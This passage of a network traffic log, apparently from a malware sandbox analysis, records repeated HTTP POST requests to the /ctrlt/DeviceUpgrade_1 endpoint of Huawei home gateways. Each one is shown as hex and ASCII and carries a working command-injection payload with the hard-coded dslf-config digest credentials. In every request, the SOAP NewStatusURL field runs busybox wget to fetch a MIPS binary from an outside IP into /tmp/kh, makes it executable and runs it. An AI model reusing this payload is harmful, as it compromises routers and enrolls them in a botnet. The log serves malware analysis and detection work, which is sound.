74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:57.506907940 CET	2044	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:58.534740925 CET	2072	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:00.610491991 CET	2129	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:04.705897093 CET	2241	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:12.896692991 CET	2481	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:29.278565884 CET	2904	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	156.235.101.61	37215	192.168.2.23	45214

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:56.629971981 CET	2015	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:57.506907940 CET	2044	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:58.534740925 CET	2072	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh 